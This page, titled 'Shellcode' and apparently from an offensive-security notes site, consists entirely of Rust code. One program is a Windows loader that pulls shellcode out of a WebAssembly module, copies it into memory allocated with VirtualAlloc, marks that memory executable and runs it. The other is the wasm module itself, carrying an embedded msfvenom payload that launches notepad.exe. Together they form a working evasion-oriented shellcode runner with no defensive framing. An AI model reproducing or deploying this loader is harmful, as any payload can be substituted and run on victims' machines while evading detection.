Shellcode
大约 2 分钟
Shellcode
use std::{
fs,
ptr::{copy, null_mut},
};
use wasmtime::{self, Engine, Error, Instance, Module, Store};
use windows::Win32::System::Memory::{
VirtualAlloc, VirtualProtect, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE,
PAGE_PROTECTION_FLAGS, PAGE_READWRITE,
};
fn main() -> Result<(), Error> {
let engine = Engine::default();
let mut store = Store::new(&engine, ());
let wasm_binary = fs::read("shell.wat")?; // Webassembly file containing the shellcode
let module = Module::new(&engine, &wasm_binary)?;
let instance = Instance::new(&mut store, &module, &[])?;
let get_wasm_mem_size = instance.get_func(&mut store, "get_wasm_mem_size").expect("Not found get_wasm_mem_size");
let read_wasm_at_index = instance.get_func(&mut store, "read_wasm_at_index").expect("Not found read_wasm_at_index");
let read_wasm_at_index = read_wasm_at_index.typed::<u32, u32>(&store)?;
let get_wasm_mem_size = get_wasm_mem_size.typed::<(), u32>(&store)?;
let buffer_size: u32 = get_wasm_mem_size.call(&mut store, ())?;
let mut shellcode_buffer: Vec<u8> = vec![0; buffer_size as usize];
for i in 0..buffer_size {
let value = read_wasm_at_index.call(&mut store, i)?;
shellcode_buffer[i as usize] = value as u8;
}
unsafe {
println!("[+] Memory Allocation Being Performed");
let shellcode_addr = VirtualAlloc(
Some(null_mut()),
shellcode_buffer.len(),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
);
println!("[+] Copying a Shellcode To Target Memory");
copy(
shellcode_buffer.as_ptr() as _,
shellcode_addr,
shellcode_buffer.len(),
);
println!("[+] Changing Page Permissions");
let mut old_protection: PAGE_PROTECTION_FLAGS = PAGE_PROTECTION_FLAGS(0);
VirtualProtect(
shellcode_addr,
shellcode_buffer.len(),
PAGE_EXECUTE_READWRITE,
&mut old_protection,
).unwrap_or_else(|e| {
panic!("[!] VirtualProtect Failed With Error: {e}");
});
let func: fn() = std::mem::transmute(shellcode_addr);
func()
}
Ok(())
}
use wasm_bindgen::prelude::*;
// Enter the shellcode size
const WASM_MEMORY_BUFFER_SIZE: usize = 279;
// msfvenom -p windows/x64/exec CMD=notepad.exe -f rust
static WASM_MEMORY_BUFFER: [u8; WASM_MEMORY_BUFFER_SIZE] = [
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52,
0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed,
0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48,
0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1,
0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a,
0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b,
0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47,
0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x6e, 0x6f, 0x74, 0x65, 0x70,
0x61, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x00,
];
#[wasm_bindgen]
pub fn get_wasm_mem_size() -> usize {
return WASM_MEMORY_BUFFER_SIZE;
}
#[wasm_bindgen]
pub fn read_wasm_at_index(index: usize) -> u8 {
let value: u8;
value = WASM_MEMORY_BUFFER[index];
return value;
}